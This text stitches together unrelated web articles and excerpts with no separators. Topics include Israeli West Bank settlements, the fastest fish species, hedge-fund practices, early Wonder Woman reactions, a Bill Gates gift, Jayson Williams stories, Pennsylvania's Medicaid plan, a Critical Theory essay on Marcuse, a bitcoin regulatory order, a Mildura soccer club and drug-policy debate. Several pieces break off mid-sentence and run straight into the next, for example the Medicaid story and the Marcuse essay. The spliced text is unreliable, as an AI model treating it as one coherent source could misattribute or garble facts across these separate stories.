When it comes to diagnosis and prescription, those of us who worry about socioeconomic inequality go in two different directions. Some identify the free market as the cause of such inequality, and government regulation as the cure; for others, its precisely the other way around. Im obviously with the latter group; all the phenomena I mentioned are made possible by systematic restrictions on competition. Libertarians need to spend more time focusing on liberty as the solution to these pervasive asymmetries of power, rather than giving the impression that they find them unproblematic.Publication of tenders for new settlement follows announcement of Israel's biggest land grab in West Bank since 1980s
Israel has published tenders to build 283 homes in a West Bank settlement, days after announcing its biggest land grab on occupied Palestinian territory for three decades.
The expansion of the Elkana settlement, in the north-west of the West Bank, was approved in January and the tenders were published on Thursday, Israel's land authority said.
It came after Israel announced its biggest land grab in the West Bank since the 1980s, saying it planned to expropriate 400 hectares (988 acres) of land in the south of the territory, between Bethlehem and Hebron.
That move drew international condemnation, even from its staunch ally, the US, and some Israeli cabinet ministers.
The US state department urged Israel to reverse its decision while the UN secretary general, Ban Ki-moon, said he was alarmed by Israel's plans.
Israel's settlement-building, which is illegal under international law, is seen as an obstacle to any lasting peace with the Palestinians, who want their future state to be on land, much of which Israel has annexed or built settlements on.Top 5 Fastest Fishes on the Planet
There are around 30 thousand marine fish species known to science up to date. All of these large and small fish inhabit the seas, oceans, rivers and lakes around the globe. Some of them are capable of developing incredible speed. While the term can be looked at in several ways, including how quickly an animal can kill its prey or react to a potential danger, in this article we will try to determine the fastest swimmers. But before handing out the medals, let’s look at the factors that affect the speed of fish underwater.
The Anatomy of Superb Swimmers
As you know, the water is roughly 800 times denser than air and has a much higher viscosity. Therefore, fishes with torpedo-shaped bodies, such as billfishes and tunas, prove to be better swimmers than creatures like eels, flatfishes and puffers, whose bodies are best adapted to life in caves and crevices near the floors and walls of coral reef communities. Generally, fishes that have a more streamlined shape with a pointed snout and a broad propulsive tail are capable of moving through the water with less resistance.
Two other factors that influence the animal's speed in the water are the nature of its surface or skin, and the nature of the flow of water over that surface.
Some of the fastest-swimming fishes use additional adaptations to improve their streamlining. For instance, many tunas can tuck their stiff fins into side grooves in their body when moving at speed. Some other fishes produce a slimy mucus that coats their skin and serves both as a protective layer and a way to reduce drag.
Fishes also use their muscles as a source of thrust. Fast-swimming fish, such as tuna and swordfish have extremely well-developed skeletal muscles that help them to combat water's resistance and move through it. These muscles, arranged in pairs along the opposite sides of a fish’s body, alternatively tighten and relax to produce a series of curves that help to push the fish forward.
Top 5 Fastest Fishes
Sailfish
Maximum speed: 110km/h
Range: Indian and Pacific Oceans
Attaining speeds of up to 68 mph (109 kmph), the sailfish is atop the leaderboard of fastest fishes on the planet. It is also one of the most highly prized game fishes. As for the size, sailfish generally do not grow to more than 3 meters (9.8 ft) in length and rarely weigh over 90 kg (200 lb). Notable characteristics of sailfish are an erectile dorsal fin known as a sail and the elongated bill.
Marlin
Maximum speed: 80km/h
Range: Tropical and temperate regions of Indo-Pacific Ocean
Marlin, a part of the billfish family, are not only among the fastest, but also some of the biggest fish in the world. Blue Marlin females, which are significantly larger than males, can reach 4.3 meters (14 ft) in length and weigh more than 900 kg (1,985 lb). For obvious reasons these fish are considered to be a holy grail for sport anglers and are rarely table fare. Marlin meat appears mostly in fine gourmet restaurants as a delicacy. The fisherman in Ernest Hemingway's novel The Old Man and the Sea was described as having caught a 5.5 meter (18-ft) marlin.
Wahoo
Maximum speed: 78km/h
Range: Tropical and sub-tropical waters around the world
Wahoo is a scombrid fish that can grow up to 2.5 meters (8 ft) in length, and weighing up to 83 kg (183 lb). Their diet is made up of other pelagic fishes, as well as squid. Wahoo’s speed and fighting ability make them a great challenge in sports fishing circles. What’s more, the flesh of this fish is white, delicate and highly regarded by many gourmets. Although there is some demand for the wahoo as a premium-priced commercial food fish, little of it tends to be caught for this purpose.
Tunny
Maximum speed: 74km/h
Range: tropical to temperate waters worldwide
The tunny is another excellent game fish. Just like the wahoo, it is known for its strength and resistance to capture. Tunny has a sturdy body built for powerful swimming and may live up to 10 years of age. It feeds on other fish and squid. Tunny is also frequently used as bait for shark and marlin fishing, primarily due to its high oil content.
Bluefin tuna
Maximum speed: 70km/h
Range: Open waters of the Atlantic Ocean
The bluefin is one of the largest tuna species. They are highly valued as a food for human consumption and… killer whales. Young bluefin tuna form large schools that can easily be observed at night. Besides their commercial value as food, the bluefin tuna is also a popular game fish.
You may also want to read:Hedge funds operate with nearly free rein and on murky ethical ground, bullying banks and recruiting the best – all to questionable results
Hedge funds, those financial funds run by extraordinarily rich men, are going mainstream. Not content to be investments for just the super rich and super connected, they are starting to offer services to the average investor.
A good example comes this week from hedge-fund manager Bill Ackman, who is famous on Wall Street but not yet a household name. He wants to start a small fund with a public listing to collect money from the public that he can then invest.
Ackman's new fund itself is not a hedge fund, but because he is a giant in the hedge-fund world, regular investors may be attracted to the mystique of a world that usually locks them out.
Hedge fund bullies
Let's be clear: the average investor should not be too excited. Hedge funds are certainly powerful, but it is not clear they all deserve the power or are using it well – not based on performance at least.
When I was a trader at a big bank, several years ago, I learned about that power of hedge funds. In a moment of luck, I made $1m in 10 seconds trading with a large hedge fund. They made a bad bet – buying bonds from me that dropped in price seconds later. I was up a cool $1m and they were down $1m.
That didn't sit well with them. Hours after the trade I received a tap on the shoulder from a senior member of my bank, asking me to rewrite the trade and give half of my profit back to the hedge fund.
Bill Ackman wants to start a small hedge fund to collect and invest money from the public. Photograph: Brian Snyder /Reuters
My bank was doing the fund a favor. The hedge fund was an important and connected client, and the trade was, well, embarrassing to them. That embarrassment might jeopardize other business with the bank, threatening millions in fees. Over my objections, my bank renegotiated the terms of the trade to give the hedge fund a better price.
It was a perfectly legal, but unusual concession. It was also a lesson: hedge funds can even bully the biggest banks in the country.
Where the real power lies
Hedge funds, to the regular citizen, seem shadowy and strange. Super secretive, absurdly paid, massive investment firms that manage, in total, close to $2.2tn. Who are these guys and why do they deserve the royal treatment and enormous pay?
They're bad boys of finance, with lots of money. Hedge fund managers are often glamorized as super wealthy hotshots with special insight into how to invest. They are also generally rich. Collecting-modern-art rich. Last year, the total pay of the top 10 hedge fund managers was $15bn. One gentleman, David Tepper, was paid $3.5bn.
Wall Street increasingly attracts PhDs in fields such as mathematics and physics, as well as international political leaders and officials. Photograph: Cameron Davidson/Corbis
Because of their reputations, hedge fund managers can collect money – anywhere from a few million to a few billion – from rich people and big institutions like pension funds and college endowments. Demand is only increasing; in the last 20 years, hedge funds have collectively grown by 1,000 times.
'Sophisticated investors'
Hedge funds have almost complete freedom, for one reason: the government allows them to approach only the very rich, with assets of at least more than $1m – and usually, over $10m. These are called "sophisticated investors". The assumption is that lots of money gives you enough investing knowledge to lose it however you'd like.
Facebook Twitter Pinterest Michael Steinberg, a portfolio manager at the SAC Capital Advisors hedge fund, and his lawyer exit federal court in Manhattan. Photograph: Eduardo Munoz/Reuters
Because hedge funds deal only with the sophisticated investor, they have almost no restrictions on what they can invest in, or how they can invest, short of breaking the law. They can put their money in everything from the stock market to farmland to gold mines.
For the privilege of exclusivity, they charge their "sophisticated investors" huge fees. The general rule is "two and 20"; the hedge funds pay themselves 2% of all the assets they oversee, and 20% of any gains in a given year.
For that kind of cash, you'd expect them to deliver.
Why the rich love hedge funds: the edge
Are these sophisticated investors making sophisticated investments? It's hard to find the proof that they are.
By many measures – and it is hard to measure – hedge fund returns are pretty much just average.
That hedge funds can charge such high fees for such average returns has economists and many others confused. It's not exactly rational. Theories abound.
People may invest in hedge funds for many reasons, but there is something simpler at work: the idea that you'd rather be with hedge funds than against them. Sophisticated investors assume hedge funds have an informational edge, either legal or illegal. They're so well connected and so informed, the thinking goes, that they must know something we don't.
Facebook Twitter Pinterest Hedge-fund manager Raj Rajaratnam convicted of insider trading in 2011. Photograph: Emmanuel DunandAFP/Getty Images
It is not a bad assumption, as far as assumptions go.
Hedge funds trade in the gray area of information
Information is everything to trading. Knowing more, knowing it quicker, or being the only one to know, will make you money. It’s often the only guaranteed way to try to outsmart the markets.
Hedge funds strive for that edge, certainly the legal one. Every trader does. Yet with less regulation and less observation, hedge funds can do it in a far more aggressive manner.
They do it by hiring the best and the brightest. Some have more PhD’s than many college math or economic departments.
Information has a direct relation to currency on the New York Stock Exchange. Photograph: Spencer Platt/Getty
They do it by trying to know everything about whatever they are trading. A country has laws making it illegal to run polls the week prior to elections? No problem. Hedge funds will hire their own pollsters for private polls.
They do it by hiring, and paying very well, people with connections. The number of former officials and present officials who have hedge-fund ties is staggering. It is almost now considered normal. Leave public service related to politics and finance? Go directly to hedge fund. Do collect large payment.
Larry Summers, after his stint at the Treasury, and before his job of chief economic adviser to President Obama, spent two years working for one of the largest and most opaque hedge funds, DE Shaw. He was paid close to $5m for that work.
Wall Street is about collecting and trading in information. Yet the rules concerning trading in information, what is legal what is illegal, are notoriously gray. So hedge funds hire teams of lawyers to navigate and at times push right into the gray.
Larry Summers worked for DE Shaw after heading the Treasury under the Clinton administration. Photograph: Alex Wong/Getty Images
Sometimes hedge funds go from fiddling around in the gray, and just allegedly break the law. This year the hedge fund SAC Capital paid a $1.8bn fine stemming from charges against eight of its employees for insider trading. Two years prior, the founder of the firm, Steve Cohen, did well enough to collect a paycheck worth $1.4bn.
Main Street isn't ready for hedge funds
Now hedge funds are trying to expand their services, hoping that their reputation for having an edge will also appeal to investors who are not ultra-wealthy. There's even a hedge-fund TV channel for advertising their financial wares.
Before throwing in any money, the average investor should be careful. Hedge funds are opaque. Don't put in any money you can't lose.
The biggest cautionary tale
Keep Bernie Madoff in mind.
Madoff was not technically a hedge-fund manager, but he acted like one. His fund’s eerily consistent strong performance and his reputation as an investment hotshot attracted lots of money, and many investors who were convinced Madoff had an edge. His returns also attracted skepticism that perhaps his fund was doing something illegal.
The skepticism was justified. Madoff was just outright running a $17bn Ponzi scheme:
According to reports, some of those who put their faith in Mr Madoff suspected that he was engaged in wrongdoing, but not the sort that would endanger their money.
Many of the losses came from investors who were in no position to suspect Madoff was doing anything illegal. Even though they had money, they weren't sophisticated enough. In the end, no one was.
That's not to say all hedge funds are bad. Not even close. There are thousands of hedge funds, and there was only one Bernie Madoff.
The main lesson, instead, is to know as much as possible about where your money is going, and don’t let the allure of secrecy fool you. In a mutual fund you can see every stock. In a hedge fund, you often only have a black box built by someone with a reputation.
The bottom line: investors, sophisticated or not, can't know in detail what many hedge funds are doing. But as long as the mystique exists, perhaps many don’t want to know.Finally, someone other than those pesky executives at Warner Bros. have seen Wonder Woman. And the response appears to be positive. Though, admittedly, these responses are clearly coming from some sort of Mommy blogger group and a handful of DC fan sites. And they're not filled with the kind of enthusiasm that will have any doubters running out to theaters on opening day. Overall, they smell like 'pat on the back' reactions. It's hard to tell how good the movie actually is, which seems to be par for the course with Wonder Woman.
Let's get something clear right now. Early Twitter responses, for whatever superhero or big genre movie is coming out soon, are lofty at best. As witnessed at Marvel's open house, some in attendance are afraid to give their true feelings for fear of being uninvited from future screenings. One negative response from the early Guardians of the Galaxy 2 unveiling resulted in said Tweeter having to later issue an apology under the guise that they simply'said to much'. When it comes to checking out early advanced reactions on Twitter, it's best to read between the lines. And here, it appears that director Patty Jenkins has created a movie that looks good on the surface. But what's hiding beneath that surface is the mystery that hasn't really been uncovered yet.
Suicide Squad early reactions were equally as positive, as were those for Batman V Superman. But once the real reviews arrived, the claws came out, and there was no turning back. Looking at the early tweets here, it looks like DC Films and Warner Bros. ditched showing the movie off to any well-known critics or bloggers. So its a little rough to hoe this road. New York Times best selling writer Marc Andreyko, who has written books about Hawkman and Wonder Woman, isn't necessarily a trusted critic. But he has nothing but praise for Wonder Woman director Patty Jenkins and her leading lady Gal Gadot.
"I can't get into specifics but @GalGadot gives a beautiful, nuanced, powerful performance. @PattyJenks is SO GOOD with actors."
As you can see in the Tweet below, he's hanging out with the director, and both have pretty big smiles on their faces. Of course he's not going to say if the movie is bad. And look at his response. Read between the lines. He finds something good to say without really saying that the movie itself, or its story, is any good. Entertainment Editor at Bustle, Anna Klassen, says this.
Related: Aquaman Rides His Wave of Cash Past Wonder Woman at the Worldwide Box Office
"I just saw Wonder Woman. Not allowed to talk about it yet... but will say Patty Jenkins is a wonderful human who is too good for this world."
Now, what the hell does that mean? Anything could be taken from that bit of praise for the director. Again, notice the writer doesn't say out loud whether or not she likes Wonder Woman. She just thinks the director is too good for this world. Why? You got me. Now, this next reaction comes from Batman News, and it's a pretty blanket statement, comparing Wonder Woman to previous DC outings.
"#WonderWoman has more action than #BatmanvSuperman".
Mind you, they don't say the movie is better than Batman V Superman. Nor do they even say the movie is any good. Do you know how many movies have more action than Batman V Superman that are horrendous garbage? Tons! Millions! Billions! Again, this is coming from the 'if you can't say anything nice don't say anything at all' camp of current early twitter reactions. Smith Lord of Geeking Out AMC gives an equally innocuous response to having just seen the movie.
"Saw something tonight been dreaming about since I was little. "Wonder" what it was?"
Before we go on further, understand how these work. You're not allowed to review the movie. But in 140 characters or less, you can give your reaction. You can say, 'blown away','mind-bending', 'filmmaking on a whole other level'. No one is saying that. These people aren't saying much of anything at all. The proof comes with the next early reaction, where its author actually calls the movie 'good'. Though understand it is coming from a dubious source that often gets slammed in our own comment sections. Andy Lea of the UK tabloid Daily Star offers this quaint bit of praise.
"It really is good. Dark but funny too. Gadot is great and the Amazons are brilliant"
We're not sure where this advanced screening took place, but we can confirm Patty Jenkins was in attendance. And we can confirm that when Marvel did this for Guardians of the Galaxy Vol. 2 a couple weeks ago, there was plenty of alcohol available for all critics to enjoy and consume for free. We're not lying, there was a cocktail buffet and buckets of free beer flowing like the river Nile. So, right now it's hard to tell just how good or bad Wonder Woman is. Perhaps we'll know more in the coming weeks as DC Films gets up the courage to show the movie to real film critics. For now, we have to take this handful of hot takes. Admittedly, they don't inspire me to rush out and purchase one of those coveted Wonder Woman ultimate tickets.
I just saw Wonder Woman. Not allowed to talk about it yet... but will say Patty Jenkins is a wonderful human who is too good for this world. — Anna Klassen (@AnnaJKlassen) May 13, 2017
@Tay_Hartman@BatmanNewsCom It was me! I'm embargoed but I suppose they started it. It really is good. Dark but funny too. Gadot is great and the Amazons are brilliant — Andy Lea (@andyleasreviews) May 11, 2017Bill Gates, the world’s richest person, continues to make news for his ten-figure philanthropy.
Gates gave away $4.6 billion in Microsoft shares in June to his personal charity, the Bill & Melinda Gates Foundation, according to a filing published Monday by the Securities and Exchange Commission. Bloomberg first reported the gift late Monday. Then, on Tuesday, Gates unveiled a new campaign to combat the spread of malaria. His pitch: the Gates Foundation will donate a mosquito net for every person who reads his latest blog post and takes a subsequent quiz.
Gates, best known as a cofounder of Microsoft, now owns just 1.3% of the company's outstanding shares, down from 2.3% before he made the $4.6 billion gift. Microsoft stock currently accounts for just 9% of his overall net worth, which stands at an estimated $85.2 billion, according to Forbes.
Gates announced the mosquito net initiative in a blog posted on Tuesday. Dubbed “Mosquito Wars,” the campaign is part of the Bill & Melinda Gates Foundation’s broader effort to combat malaria. Each donated net will go to families in the Inhambane region of Mozambique, where the disease is still prevalent, and will be distributed by nonprofit World Vision.
In addition to distributing insecticide-treated bed nets, the Gates Foundation is also seeking to educate the public about the fight against malaria. In his post, Gates wrote about the significant progress that has already been made on that front. Since 2000, the number of people killed by malaria each year has fallen by half, an achievement he calls “miraculous,” though he points out that 429,000 people still died from the disease last year.
The Gates Foundation, which Gates formed with his wife, Melinda, is the world’s largest private charity; it has distributed more than $40 billion in grants to date and supports organizations in over 100 countries. The foundation is currently working to eradicate polio globally in the next three years.
Bill and Melinda Gates, along with Warren Buffett, are cofounders of the Giving Pledge, an initiative that challenges billionaires to commit more than half of their wealth to charity that now boasts 170 signatories. Bill Gates, 61, made his fortune as a cofounder of Microsoft, the software firm he started with Paul Allen in 1975. Despite having given away tens of billions of dollars, he remains the world’s wealthiest individual.Jayson Williams has some stories he’d like you to hear.
You may remember Jayson Williams as a bruising big man with the New Jersey Nets of the late 1990s, one of the best offensive rebounders of his (unfortunately brief) era. Or, if you’re a little bit younger, you may remember him as the ex-NBA player who accidentally shot and killed his limo driver and served two years in prison. Now you can also remember hims as the guy with the stories.
On Tuesday, Williams appeared on the COOKIES podcast on VICE Sports, with hosts Ben Detrick and Jordan Redaelli, and eagerly shared anecdotes from his playing career. Stay clear of beverages while you’re listening because there are several potential spit-takes lurking in here.
About the one and only Michael Jordan, Williams said, “When you went out to the club, you wouldn’t sit with Michael Jordan. He would sit at a table by himself and watch you watch him. He just had that, you know, he was smart enough to keep drunk so you were tired tomorrow, and keep you away, and keep you scared, and not let you figure him out.”
“He was intimidating. I remember when we went to play him in the playoffs he parked a brand new black Ferrari, about a million dollar car, in front of the locker room. And it was just black. And he wore that black, and he was almost like Satan. He won six championships, you know he made the shot with six seconds left on the clock, he had six MVPs. What’s that, 6-6-6?”
If stories of Michael Jordan’s competitive nature aren’t for you, come for the stories of Manute Bol’s manhood and drinking habits; stay for the stories about how Charles Barkley has a hard time with technology. Williams does get serious later in the podcast talking about his own struggles, regrets, and legal challenges, which is good because you’ll need something heavy to get your mind off Manute Bol.
For more NBA coverage and analysis, visit the FanSided NBA hub page.Corbett Unveils Medicaid Plan Based on Private Insurance
Written by Nick Field, Contributing Writer
Governor Tom Corbett released his own statewide healthcare initiative today at the PinnacleHealth Harrisburg Hospital. Under his “Healthy PA” plan, the state would accept public dollars to finance private insurance for 500,000 Pennsylvanians.
“Washington can not and should not tell citizens want they can buy,” Governor Corbett said. “We should not have a one-sized fits all solution from Washington. I believe we must build a plan from the grassroots up growing the private healthcare market while reducing government intervention.”
The plan is similar to proposals in Arkansas and Iowa. Unlike the those plans, however, Corbett’s proposal would add a requirement that beneficiaries be actively seeking employment.
The issue concerns the Medicaid expansion that was included in the Affordable Care Act. Under the law Medicaid, the federal healthcare program for low-income Americans, would be expanded to everyone earning 138 percent of the federal poverty level. In the Supreme Court decision which upheld Obamacare, however, the Court ruled that states could decide whether to accept these funds.
Since that time, Gov. Corbett has been faced with the issue of whether to accept the funds. For the first three years, the federal government will cover all the costs of the expansion. After that the share will gradually decline but will stop at 90%. Corbett, however, is still fearful of costs.
“We can not afford to expand the current Medicaid program,” he stated. “It’s not sustainable to increase the number of Pennsylvanians who rely on this entitlement.”
There was a clear political aspect to the Governor’s proposal. The announcement comes mere months after he said he was unlikely to accept federal funds from Obamacare. Additionally he was careful to avoid the word “expansion,” something anathema to conservative activists, when describing his plan.
But Monday’s proposal did not ameliorate Corbett’s Democratic critics, who characterized it as too little, too late.
Congresswoman Allyson Schwartz has long blasted Corbett for rejecting the funds. Her campaign has already released a statement aiming to refute the Governor’s claims and scheduled a conference call with reporters later today to respond to the Governor’s proposal.
Other prospective Corbett opponents including former DEP Sec. John Hanger and former Revenue Sec. Tom Wolf also criticized Corbett’s proposal.
“Today’s announcement is another Harrisburg game from Governor Corbett that puts political posturing over people and raises more questions than it answers, Tom Wolf stated. “How is giving private insurance companies a cut of the money and providing fewer benefits to working families at the same cost to the taxpayers a better deal for Pennsylvania? That doesn’t seem to add up.
Meanwhile healthcare advocates praised the move as a positive step.
“It is good to see Governor Corbett acknowledge the reality that a majority of Pennsylvanians already understand: Medicaid Expansion is vital to the health of Pennsylvania families, and to our economy,” said Antoinette Kraus, the Director of the Pennsylvania Health Access Network.
Corbett is nonetheless also being hit from the right on his decision. Tomorrow, for instance, State Reps. D |
of the project of founding a politically radical critique of capitalist society was a separate chapter in the evolution of Critical Theory. For example, Gramsci's many writings on the role of intellectuals and educational, religious, and other cultural institutions in the 1920s were part of his attempts to analyze how capital achieved hegemony through the ideological inculcation of consent -- a problematic whose importance grew with the increasing penetration and planning of these institutions by the capitalist state. Although in the 1930s and 1940s Adorno, Horkheimer, and Marcuse all took up and expanded Pollock's work on the tyranny of technological rationality as well as the extension of factory regimentation and the commodity-form to the entire society, it was primarily through the work of Marcuse in the 1960s that these ideas were preserved and became widely known and influential in the New Left.
In One Dimensional Man, Marcuse elaborated the fundamental ideas of the Frankfurt School's critique of the new "affluent society." (75) The Keynesian state as collective capitalist is interpreted as the administration not only of the collective factory but also of the sphere of consumption in which working-class demands are instrumentalized by a new consumerist logic of domination. By meeting the working class's quantitative demands at the same time that it manipulates and shapes those demands qualitatively, advanced capitalism is able to integrate workers' economistic struggles within capital and thus blunt the formation of working-class consciousness and revolt. This is the "cultural" aspect of planning. It is no longer the game of crushing workers' wage struggles through periodic crises but rather of managing working-class needs quantitatively and qualitatively so that they do not challenge the system. With the extension of the commodity-form to all aspects of life, this involves the control of virtually the whole cultural sphere through the manipulation of consumption. In such institutions as the educational system this kind of control is complemented by other forms of integration, which also take the form of co-optation rather than direct repression. This was the basic concept of Marcuse's famous essay on the "repressive tolerance" of dissent within the framework of academic "freedom," which was published in 1965. (76) Here we find in a new context the reiteration of many of the themes of the Frankfurt School of the 1940s. Marcuse's attack on the institutionalized violence of capital evokes Horkheimer's 1940 analysis of the pervasive repressiveness of the authoritarian state. (77)
It was also in the 1960s that Critical Theory again, tenuously, linked with political economy. Marcuse's analysis of capitalist hegemony, which in An Essay on Liberation is explicitly understood as a global phenomenon, found an echo in the writings of Baran and Sweezy. (78) A certain influence of the Frankfurt School had already been apparent in The Political Economy of Growth (1956), by Baran, who had spent a formative year as Pollock's undergraduate research assistant in Frankfurt in 1931. (79) That influence had appeared not only in Baran's arguments that the American working class was totally integrated into an American "people's" imperialism but also in his formulation of the contradiction between capitalist rationality and the progress of historical reason. (80) In Monopoly Capital, Baran and Sweezy's critique of the "irrationality" of advanced capital, and their continued dismissal of the revolutionary potential of the U.S. working class, paralleled Marcuse's work, as did their search for revolutionary agents "outside" capital among nonworking-class groups of Third World peasants, disaffected students, and the black unemployed. (81) Like Marcuse they deplored the consumerism, waste, and violence of Keynesian capitalism as integral parts of its economic and cultural hegemony. In all these aspects Marcuse, Baran, and Sweezy expressed major issues of the cycle of struggles of the 1960s in a way that simultaneously eclipsed the ossified theories of orthodox Marxism and the Old Left and revived the advances made by Western Marxism and Critical Theory in the 1930s and 1940s. Unfortunately, as was indicated in the earlier discussion of Baran and Sweezy and must be reiterated here about Marcuse and Critical Theory, these approaches contain a basic flaw which undermines their ability to fully grasp the import of the struggles of the 1960s or of the subsequent period of capitalist counterattack in the 1970s.
The flaw that lies at the very heart of Critical Theory's concept of bourgeois cultural hegemony (just as it lurks within political economy's theory of capitalist technological domination in the factory) is its total one-sidedness. The positing of cultural hegemony, like that of an all-powerful technological rationality, reflects the inability to recognize or theorize the growth of any working-class power capable of threatening the system. Although the theory may have accurately reflected the new issues that accompanied the rise of Hitler, Stalin, and Roosevelt, its exaggerated pessimism became manifested in the 1960s. The logic of the theory of absolute consumerist integration forced Marcuse, Baran, and Sweezy to interpret the upheavals of the time as falling "outside" the class struggle and they built their hopes on what they saw as revolts against racial and sexual repression and against the general irrationality of the system. This exteriorization of contradiction blinded them all to the effectiveness of the actual struggles of wage workers as well as their interaction with the complementary struggles of the unwaged. As a result Marcuse could see only defeat in the dissolution of the "movement" in the early 1970s and the rising danger of a new fascism. Unable to grasp how the cycle of struggles of the 1960s had thrown capital into crisis, was forced back to the political economy of Baran and Sweezy for an explanation of the international economic crisis of the 1970s. (82) It is ironic that, while he has spoken of a capitalist "counterrevolution" that could lead to 1984, he cannot see the "revolution" to which it is a counter and can only proclaim it a "preventive" action by capital. (83) He does see the revolt against work but interprets its rampant absenteeism, falling productivity, industrial sabotage, wildcat strikes, and school dropouts as simply "prepolitical" signs of discontent and of the possible crumbling of bourgeois cultural hegemony via managed consumerism. (84) As a result he has begun, in Counterrevolution and Revolt (1972), to remodel his critical theory into one of how the consumerist logic of contemporary capitalism may be undermining itself by the production of nonintegrable, transcendent needs. He postulates a growing divergence between the consumerist promises of capitalist ideology propagated by the mass media and the willingness to deliver in a period of economic crisis: "a contradiction between that which is and that which is possible and ought to be." (85) The political conclusions Marcuse draws from this analysis formulate the current political situation in terms of the ideological question of whether growing popular dissatisfaction can be crafted by a revitalized New Left educational and organizational effort into a real threat to the system. Despite his affirmation that consumerism has enlarged the base of exploitation and political revolt, and his calls for a New Left revival, it mustHOUSTON, March 11 (Reuters) - A state securities regulator has ordered an exploration and production company to stop accepting bitcoins as payment for investments in its Texas oil wells.
Texas Securities Commissioner John Morgan entered an emergency order on Monday against tiny Balanced Energy LLC, which claimed it was the first energy company to accept the virtual currency, according to the regulator.
“The price of digital currency is subject to extreme swings, which could affect the amount of money available for business operations,” the regulator said in a statement.
Bitcoin is a digital currency that, unlike conventional money, is bought and sold on a peer-to-peer network that lacks central control. Its value has soared in the last year, and the total worth of bit coins minted is now about $7 billion.
Balanced Energy, based in the Dallas area, has drilled 33 wells on 10,500 acres in central Texas. According to the order, Balanced Energy is offering a stake in two exploration projects for about $31,000.
Executives at Balanced Energy were not immediately available to comment.
Also on Tuesday, the Financial Industry Regulatory Authority (FINRA) said recent events such as the bankruptcy of bitcoin exchange operator Mt. Gox have spotlighted some of the currency’s risks. The brokerage industry watchdog group produced an investor alert titled “Bitcoin: More than a Bit Risky,” warning that bitcoin can expose people to significant losses, fraud and theft.On side: Young Phoenix Cerda celebrates a goal. Credit:Justin McManus He went to the kids’ houses and got permission from their parents to take the boys to the soccer club the next day, which he did. After that, rather than drive past and dodge stones, Chris stopped, picked up the kids and drove them to play soccer club. That was 21 years ago. From a handful of kids heading to the Mildura United Soccer Club, Chris soon needed a bigger car and more trips – by the end of the year, 30 indigenous kids had joined the club. Within a year, he needed to borrow a 40-seater bus from Mildura's Koori school, which has since shut down. Several times a week he would drive out to the neglected and disadvantaged communities over the Murray in Dareton and Wentworth to ferry kids back to Mildura, where he would and around the suburbs collect others. He was as relentless as the tide. But soon a strange thing happened: soccer became the sport of choice for indigenous kids in the Mildura area. It is now more commonly played there than AFL, rugby league or than basketball.
Around most parts of Australia, AFL has a stranglehold on the sporting interest of indigenous communities. Where AFL doesn't dominate, NRL has its place. In most parts, basketball is strong and soccer is the less popular game. Not in the Mallee. As the World Cup focuses attention on the world game, and Australia’s gallant but early exit leads to thoughts of the next generation of talent, Paddy Mills' success in the NBA evokes the idea that indigenous players could be the next to rise in both round-ball games. The Mildura United Soccer Club, however, had a vision for its players, not to follow an elite pathway but, rather, any sporting pathway in which they could connect with the community and learn from the team culture. Initially founded by the area’s Greek community, Mildura United soon became a club with a large number of koori kids and adults playing. That prompted some white players to leave, and with them, some sponsorship money, but the club survived. It endured a lean period and nearly folded – one year it fielded only a single women’s team – until Jonathan Thomas got back involved a few years ago and it prospered once more. Now there's a handful of junior teams, a women’s team and two senior men’s teams.
''We lost sponsorship money when the indigenous players came and some of the other kids left, but you get a different sponsorship arrangement. We are promoting healthier living, alcohol awareness, and gambling and drugs awareness, but because we promote those things, it’s more difficult to get sponsorship because you can’t go to the hotel and ask for a sponsorship,'' Thomas said. Chris has been ill in recent years so his involvement has diminished, but still the indigenous kids come, brought by others such as Buddy Parson and Gizza Finna. ''We have some of the older Aboriginal males who played here as juniors returning to play as seniors, which is a good thing. We are proud of that. The club is trusted by the community, it is seen as their club and I am proud of that,'' Thomas said. The talent is obvious. Jayco Gadeanang is only eight but he runs rings around older players. He recently joined the under-10s team in a competition and starred. ''Some of the kids, like Jayco, are pretty exceptional. Jayco is just a natural talent and you can spot it instantly,'' Thomas said.
Loading ''We also had Jahalan Mitchell and Charles Charles – he is now our senior captain – who both travelled to New Caledonia for a tournament. There was talk of them going to England to try out for Manchester United for a youth squad a few years back, but again, that came down to a funding issue. ''I think the talent here would jump right out at anyone coming in from one of the big clubs to look at the kids.''Three former heads of state are urging the United States to engage in a serious discussion of drug legalization, saying its counternarcotics policies are becoming untenable in the wake of voter approval last fall of measures that legalized the recreational use of marijuana in Washington state and Colorado.
The three – the former presidents of Brazil, Colombia and Switzerland – said the inconsistency in U.S. attitudes toward marijuana shows that American public opinion is changing, even as the U.S. continues to press Latin American nations for tough enforcement of anti-drug trafficking laws. The result is confusion and anger in Latin American nations embroiled in drug violence while Americans adopt an evermore lax approach toward marijuana.
“There’s been a great silence over these initiatives, silence by the administration and the Department of Justice, silence within the media, silence by the parties,” Cesar Gaviria, a former president of Colombia, said about the legalization push.
Gaviria, who also led the Organization of American States, the hemisphere’s oldest regional grouping, from 1994 to 2004, said nations such as Mexico look on with bewilderment at the gap between U.S. federal law, changing public attitudes and the race by states to permit medical marijuana or outright legalization. Currently, 18 states and the District of Columbia allow medical marijuana, and initiatives are brewing in other states.
“Mexico has the right and the authority to tell the United States to evaluate its policies and conduct a debate,” Gaviria said. “Over there, they are avoiding this debate and any discussion over these issues.”
Gaviria spoke Thursday night at the end of a two-day forum in Mexico City by the Global Commission on Drug Policy, a panel that seeks a dramatic reappraisal of drug laws. The group was set up in 2010 and includes seven former presidents, among them Fernando Henrique Cardoso of Brazil and Ruth Dreifuss of Switzerland.
In a separate interview, Henrique Cardoso said Latin governments see major contradictions among U.S. government agencies, with the Drug Enforcement Administration pressing an anti-drug agenda that is clearly not shared by a wide range of the American public.
“The DEA is more a department for foreign nations than for America,” he said. “In America, you are liberalizing marijuana. And abroad, you are insisting on strict control.”
Gaviria, Henrique Cardoso and Dreifuss all dismissed a warning by the International Narcotics Control Board earlier this week that the United States risks falling afoul of international treaties if it permits Colorado and Washington to legalize marijuana.
The global narcotics accords, sometimes referred to colloquially as the Vienna Convention, were approved in 1961, 1971 and 1988, and 188 nations have signed onto them.
“The international treaties are not being followed,” Henrique Cardoso said. “What happened in Portugal, in Switzerland or the Netherlands?” he asked, referring to European nations that either decriminalized drug use or offered prescription narcotics to addicts. “They are not in compliance.”
Dreifuss said the case of Bolivia is an example that U.N. bodies are willing to bend to keep nations from bolting. Bolivia in January rejoined the 1961 Single Convention on Narcotic Drugs after a three-year hiatus. But first Bolivia made clear that it does not accept a ban on chewing coca leaf, a practice it considers part of the Andean nation’s indigenous heritage. Coca leaf is a raw ingredient in processing cocaine.
